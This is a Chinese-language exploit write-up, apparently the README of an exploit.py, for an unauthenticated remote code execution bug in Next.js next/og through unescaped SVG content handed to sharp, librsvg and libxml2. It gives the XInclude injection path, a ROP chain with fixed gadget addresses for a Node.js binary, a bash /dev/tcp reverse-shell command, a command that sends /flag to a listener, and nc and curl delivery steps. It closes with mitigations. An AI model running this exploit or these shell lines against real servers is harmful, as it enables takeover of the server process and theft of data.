next/og 未认证远程代码执行仅供安全研究使用,须在获得授权的漏洞环境中进行。
| 项目 | 值 |
|---|---|
| CVE | CVE-2026-94545 / GHSA-vcvr-r3jv-pc5j |
| 上游 | Satori GHSA-wx4j-mvgx-mqwp |
| 根本原因 | CWE-116(输出编码或转义不当)→ 原生 XML 解析器内存损坏 → RCE |
| 受影响版本 | Next.js 16.2.0 – 16.3.5(Node 运行时且已安装 sharp);捆绑的 Satori ≥ 0.0.27 且 < 0.33.5 |
| 修复版本 | Next.js 16.3.6 / Satori 0.33.5 |
| 影响 | 无需认证即可在 Next.js 服务进程中执行任意命令 |
| 测试环境 | Next.js 16.3.5 + sharp 0.35.4(libvips 8.18.6、librsvg 2.62.91、libxml2 2.15.3)+ Node.js v24.20.0 官方 x64 二进制(非 PIE) |
在使用 Edge 运行时(export const runtime = 'edge')或未安装 sharp 的情况下,渲染会经过 resvg-wasm 沙箱,因此该漏洞无法触及原生解析链,也就不会演变为 RCE。
用户输入被作为纯文本拼接进 SVG,随后该 SVG 被整体塞入 data: URL 并交给 C 语言编写的 XML 解析器进行第二轮解析。中间仅执行了 URL 编码,从未进行 XML 转义。
典型模式:POST /api/og 将整个请求体,或 GET /api/og?value= 将查询参数,直接放入 ImageResponse 的 SVG <title> 中,未经过滤或转义。
import { ImageResponse } from 'next/og'
export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'
async function render(request) {
const url = new URL(request.url)
const value = request.method === 'POST'
? await request.text()
: (url.searchParams.get('value') ?? '')
return new ImageResponse(
<svg width="1200" height="630"><title>{value}</title></svg>,
{ width: 1200, height: 630 }
)
}
export const GET = render
export const POST = render
ImageResponse 接收 JSX 元素树并返回 PNG。任何将请求数据写入 SVG 子节点 / 属性 / 样式的路由都是 sink。
next/og 入口转发node_modules/next/og.js 转发到 next/dist/server/og/image-response.js。Node 运行时动态加载 next/dist/compiled/@vercel/og/index.node.js(原生路径);Edge 运行时加载 wasm 路径,不受此漏洞影响。
@vercel/og — Satori 生成 SVG,然后将其交给光栅化处理Next.js 内置的 @vercel/og(编译产物注释确认其包含 [email protected])的流程为:
sharp,则将 SVG 交给原生库进行光栅化;否则回退到 resvg-wasm。const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}
此时,用户输入已经成为一个 SVG 字符串,并被原样传递给 sharp(原生 libvips)。
对于在 JSX 中显式编写的 <svg>,Satori 会将其整体序列化为一个 data:image/svg+xml URL,然后将其作为 <image> 嵌入输出中。
vercel/[email protected] 的 src/layout.ts:在进入 <svg> 节点时调用 SVGNodeToImage。
src/handler/preprocess.ts 有两个关键缺陷:
const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g // Only used for URI percent-encoding
export function translateSVGNodeToSVGString(node, inheritedColor) {
if (typeof node !== 'object') return String(node) // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}
export async function SVGNodeToImage(element, inheritedColor) {
return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
// Flaw 2: only URI percent-encoding is performed, not XML escaping
}
&、< 和 > 并未写成 & / < / >。百分号编码仅仅是 URL 语法要求;当下游解析器加载 data: URL 时,%3C/title%3E 会被还原为真正的 </title>,攻击者的文本便从“数据”转变为“文档结构”。
当输入为 </title><xi:include …/><title> 时,Satori 交给 sharp 的中间 SVG 呈现如下形式(为便于说明已解码):
<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
<image x="0" y="0" width="1200" height="630"
href="data:image/svg+xml;utf8,...<title></title><xi:include
xmlns:xi='http://www.w3.org/2001/XInclude'
href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>
sharp(SVG buffer)
→ libvips vips_foreign_load_svg_buffer()
→ librsvg rsvg_handle_new_from_stream_with_flags()
├─ Parses the outer SVG
├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
└─ XML parsing is delegated to libxml2
→ libxml2 xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc
载荷使用两层注入来控制 libxml2 的输入结构:
</title><xi:include parse="xml" href="data:…"> 使解析器跳转去加载一个完全由攻击者控制的嵌套文档。libxml2 的内部状态被推至超出预期,导致越界写入。通过精心编排的 SVG <path> 坐标序列(携带 8 字节小端字的 IEEE-754 双精度浮点数),损坏效果被可靠地落地,从而劫持控制流。
execve官方发布的 Node.js linux-x64 二进制是一个非 PIE 可执行文件,具有固定的加载基址;PLT / GOT 和 gadget 地址都是常量,因此无需信息泄露。
本 PoC 针对 Node.js v24.20.0 官方 x64 构建;gadget 如下:
| 符号 | 地址 | 用途 |
|---|---|---|
POP_RDI | 0xA1EAED | pop rdi ; ret |
POP_RAX | 0x7F38D4 | pop rax ; ret |
POP_RSI | 0x95823D | pop rsi ; ret |
POP_RDX | 0x776758 | pop rdx ; ret |
STOSQ_RET | 0xD16725 | stosq ; ret(按 qword 写入暂存 qword) |
EXECVE_PLT | 0x745FA0 | execve 的 PLT 存根 |
SCRATCH | 0x6B5F500 | 固定可写地址 |
ROP 链首先使用 pop rax / stosq 将 "/bin/sh\0"、"-c\0"、命令字符串和 argv 数组按 qword 写入 SCRATCH,然后设置 rdi = path、rsi = argv、rdx = envp(0),并跳转到 EXECVE_PLT:
execve("/bin/sh", ["/bin/sh", "-c", "<command>"], NULL)
渲染过程本身被 execve 替换;HTTP 连接断开,服务停止响应——这是该漏洞被成功利用的固有表现。新进程继承 Node 进程环境,并可执行任意命令。
exploit.py 使用 Python 3 标准库实现,无第三方依赖。它将命令编码为 SVG <path> 坐标,然后通过 XInclude + 嵌套 DTD 实体组装出一个 POST 到 /api/og 的 payload。
ROP 链针对上文所述的 Node v24.20.0 / sharp 0.35.4 栈进行校准。目标必须满足:
runtime = 'nodejs',且已安装 sharp<title> 闭合)硬性约束:
/bin/sh 通常是 dash,不支持 >/dev/tcp/...。当需要 /dev/tcp 时,用 bash -c '...' 包裹。--output 仅生成 payload,然后自行用 curl 投递。先在接收端启动监听器,或让脚本直接启动 nc:
# In another terminal on your machine
nc -lvnp 4444
python3 exploit.py --target <host>:<port> --lhost <lhost>:4444
当给出 --lhost 而未给出 --command 时,脚本会生成:
bash -c 'bash -i>&/dev/tcp/<lhost>/<port> 0>&1'
一旦获得 shell,你就可以读取文件并执行后续命令。请注意,整个命令仍然受 71 字节的限制。
# Receiver
nc -lvnp 4444
python3 exploit.py --target <host>:<port> \
--command 'bash -c "cat /flag>/dev/tcp/<lhost>/4444"'
适用于 HTTPS、自定义 Host 头,或当你需要自行控制 HTTP 客户端时:
python3 exploit.py --target <host>:<port> --command 'id' --output payload.bin
# HTTP
curl -X POST --data-binary @payload.bin \
-H "Content-Type: text/plain" \
http://<host>:<port>/api/og
# HTTPS
curl -X POST --data-binary @payload.bin \
-H "Content-Type: text/plain" \
https://<host>/api/og
| 参数 | 描述 |
|---|---|
--target | 目标 host:port(必填;仅生成 payload 时也需要,用于构建默认 URL) |
--target-path | POST 路径,默认为 /api/og |
--lhost | 反向监听 host:port;未指定 --command 时必填 |
--command | 要执行的命令(≤ 71 字节,可打印 ASCII) |
--tag | 注入期间要闭合的 SVG 标签,默认为 title |
--output | 仅将 payload 写入文件,不发送请求 |
--timeout | HTTP 超时时间(秒),默认为 15 |
--nc | nc / ncat 的路径 |
--delay | 启动监听器后等待多少秒再发送请求,默认为 1.5 |
成功时,HTTP 侧通常显示 "Empty reply from server" 或连接重置;失败时,目标通常仍会返回 PNG。
next/og 路由改为 export const runtime = 'edge',或移除 sharp,以避开原生光栅化路径;同时不要将未转义的用户输入放入 ImageResponse 的 SVG 子节点 / 属性 / 样式中。